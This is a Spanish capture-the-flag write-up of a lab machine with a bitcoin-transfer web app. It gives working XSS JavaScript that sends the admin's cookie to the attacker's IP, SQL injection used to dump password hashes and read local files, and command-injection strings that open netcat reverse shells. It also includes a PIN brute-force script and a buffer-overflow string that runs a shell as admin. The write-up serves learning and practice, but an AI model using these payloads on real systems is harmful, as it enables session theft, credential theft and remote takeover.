Contenido
- Reconocimiento
- XSS Cookie hijacking
- SQLI Explotation
- SQLI a LFI
- XSS para ejecutar comandos
- Escalada de privilegios
Reconocimiento
Primero que todo vamos a hacer un escanedo de puertos con Nmap
❯ nmap -p- --open -sS -min-rate 5000 -vvv -n -Pn -oG allPorts 10.10.10.154
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-08 13:04 CET
Initiating SYN Stealth Scan at 13:04
Scanning 10.10.10.154 [65535 ports]
Discovered open port 3306/tcp on 10.10.10.154
Discovered open port 80/tcp on 10.10.10.154
Discovered open port 445/tcp on 10.10.10.154
Discovered open port 443/tcp on 10.10.10.154
Completed SYN Stealth Scan at 13:04, 26.40s elapsed (65535 total ports)
Nmap scan report for 10.10.10.154
Host is up, received user-set (0.039s latency).
Scanned at 2023-11-08 13:04:01 CET for 26s
Not shown: 65531 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
443/tcp open https syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
3306/tcp open mysql syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.51 seconds
Raw packets sent: 131086 (5.768MB) | Rcvd: 24 (1.056KB)
Podemos ver que tiene una web en el puerto 80
y otra en el 443
(las cuales son idénticas)
También vemos que el puerto de SMB esta abierto, pero si usamos smbmap
veremos que no nos deja conectarnos
Entonces vamos a entrar en la pagina web del puerto 80
, en la cual veremos un apartado para registrarnos y otro para crear un usuario
Si creamos un usuario, y nos logeamos, veremos que tenemos un apartado para enviar bitcoins
Si probamos a enviar cualquier cantidad a algún usuario veremos que la peticion de transferencia la tiene que revisar primero un administrador, por lo cual este esta leyendo el mensaje
XSS Cookie hijacking
Viendo esto y que podemos enviar un mensaje a parte de la cantidad de monedas podemos probar un XSS
Para esto nos ejecutamos un servidor en python y enviamos este texto en el mensaje, para que nos intente cargar un archivo llamado pwned.js
(en mi caso abrí el servidor de python por el puerto 8081
)
<script src="http://10.10.14.15:8081/pwned.js"></script>
Ahora tenemos que esperar un poco a que el administrador vea nuestra peticion, y comprobar que nos llegue un get a nuestro servidor en python (esta maquina va un poco rara, así que a veces hay que mandar la peticion varias veces)
Perfecto, nos llega la peticion, ahora podemos crearnos un archivo llamado pwned.js el cual tenga un código que le roba la cookie
al administrador y nos la envía, el script seria algo como esto
var request = new XMLHttpRequest();
request.open('GET', 'http://10.10.14.15:8081/?cookie=' + document.cookie, true);
request.send();
Si todo funciona correctamente deberíamos de recibir el token
del administrador
Ahora solo seria sustituirlo por el nuestro
Y refrescar la pagina para entrar al /admin/ directamente
En el /admin podemos ver dos cosas interesantes, un buscador de usuarios y un panel para ejecutar comandos
Podemos probar a ejecutar comandos
, pero nos dirá que solo podemos ejecutar el comando dir, desde el localhost
SQLI Explotation
Por lo que podemos probar con el otro panel, que como busca por id podemos probar a ver si es vulnerable a una SQLI
Para ello vamos a interceptar la peticion con Burpsuite
Podemos ver que funciona! (hay muchos usuarios creados por gente, que no son los originales de la maquina, los originales son: admin y gio)
Ahora podemos empezar a listar la información en las bases de datos, para ver si encontramos algo util
Primero descubrimos el numero de columnas
que tiene
Ahora podemos usar el union select para listar las bases de datos
Teniendo las bases de datos, podemos las tablas de la base de datos bankrobber
Listamos la información de la tabla users
Y finalmente listamos la información de los campos username
y password
Ahora tenemos la contraseña del usuario admin, y del usuario gio
También podemos listar la información de la base de datos mysql
, de la misma manera, en la cual veremos la contraseña del usuario root
Viendo este hash parece un md5sum, asi que vamos a usar una maquina para desencriptarlo
pagina –> https://hashes.com/en/decrypt/hash
Perfecto, ya tenemos 3 contraseñas y 3 usuarios
Ahora que ya hemos terminado con la SQLI
por el momento podemos buscar por la pagina, en la que encontraremos algo interesante
Vemos unas notas, las cuales nos dice que hay archivos el la carpeta por defecto de Xampp
, si investigamos veremos que esta es la ruta por defecto de Xampp
C:/xampp/htdocs
SQLI a LFI
Por lo que el /admin estará en el C:/xampp/htdocs/admin/, teniendo eso en cuenta y que tenemos una SQLI
activa podemos intentar a listar archivos internos de la maquina
Viendo que podemos listar correctamente archivos de la maquina podemos intentar listar el contenido del php que nos restringía la ejecución de comandos
Vemos que solo verifica que se este usando el dir, así que podríamos concatenar un comando como dir | powershell -c "\\\\10.10.14.13\\smbFolder\\nc.exe -e cmd 10.10.14.13 4444
pero solo deja ejecutar comandos en el localhost
XSS para ejecutar comandos
Viendo esto podemos hacer que el administrador ejecute una peticion a este php a través del anterior XSS para que nos ejecute una reverse shell y ganemos acceso a la maquina
Primero vamos a modificar el pwned.js para que se vea así:
var request = new XMLHttpRequest();
params = 'cmd=dir|powershell -c "\\\\10.10.14.15\\smbFolder\\nc.exe -e cmd 10.10.14.15 4444"';
request.open('POST', 'http://localhost/admin/backdoorchecker.php', true);
request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
request.send(params);
Ahora tenemos que irnos a donde tengamos nuestro nc.exe y abrir un servidor SMB
en ese directorio
python3 smbserver.py smbFolder $(pwd) -smb2support
Una vez hecho esto usamos netcat para ponernos en escucha por el puerto 4444
y enviar la XSS
Si todo ha salido correctamente, veremos como ganamos acceso a la maquina
Ahora podemos visualizar la flag del usuario
Escalada de privilegios
Si nos vamos a la raiz veremos un .exe
curioso
Podemos comprobar si hay algún proceso ejecutando este .exe
Vemos que el PID de este proceso es el 1656
, por lo que podemos buscar si esta corriendo en algún puerto
Podemos ver que esta corriendo por el puerto 910
, viendo esto podemos usar chisel para hacer port forwarding, y trabajar en nuestra maquina de manera mas cómoda
Esto seria en nuestra maquina
Y esto en el windows
Con esto podemos ver que nos podemos conectar a la utilidad, y que cuando nos conectamos nos pide un pin de 4 dígitos
Como es muy fácil hacer fuerza bruta a contraseñas tan pequeñas nos hacemos un script en python
(primero creamos un archivo llamado pins.txt con todas las combinatorias del 0001 al 9999)
#!/usr/bin/python3
from pwn import *
import time, pdb
def tryPin():
pins = open("pins.txt", "r")
p1 = log.progress("Fuerza bruta")
p1.status("Comenzando proceso de fuerza bruta")
time.sleep(2)
counter = 1
for pin in pins:
p1.status("Probando con el PIN %s [%s/10000]" % (pin.strip('\n'), str(counter)))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 910))
data = s.recv(4096)
s.send(pin.encode())
data = s.recv(1024)
if b"Access denied" not in data:
p1.success("El PIN correcto es: %s" % (pin.strip('\n')))
counter += 1
if __name__ == '__main__':
tryPin()
Al ejecutar este script veremos que el pin es 0021
Ahora nos podemos identificar y veremos que nos pide una cantidad, para posteriormente ejecutar un comando
Esto da algo de mala espina, por lo que podemos probar un BufferOverflow
, veremos que con unos pocos caracteres somos capaces de sobreescribir el comando, ahora solo seria poner el comando que nosotros queramos, en mi caso una reverse shell (nos pasamos el nc.exe a la maquina windows)
Ahora simplemente tendriamos que meter esta cadena, y ponernos en escucha con netcat
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC:\Users\Cortin\AppData\Local\Temp\privesc\nc.exe -e cmd 10.10.14.15 4444
Con esto tendremos una consola como admin, y podremos visualizar la flag del root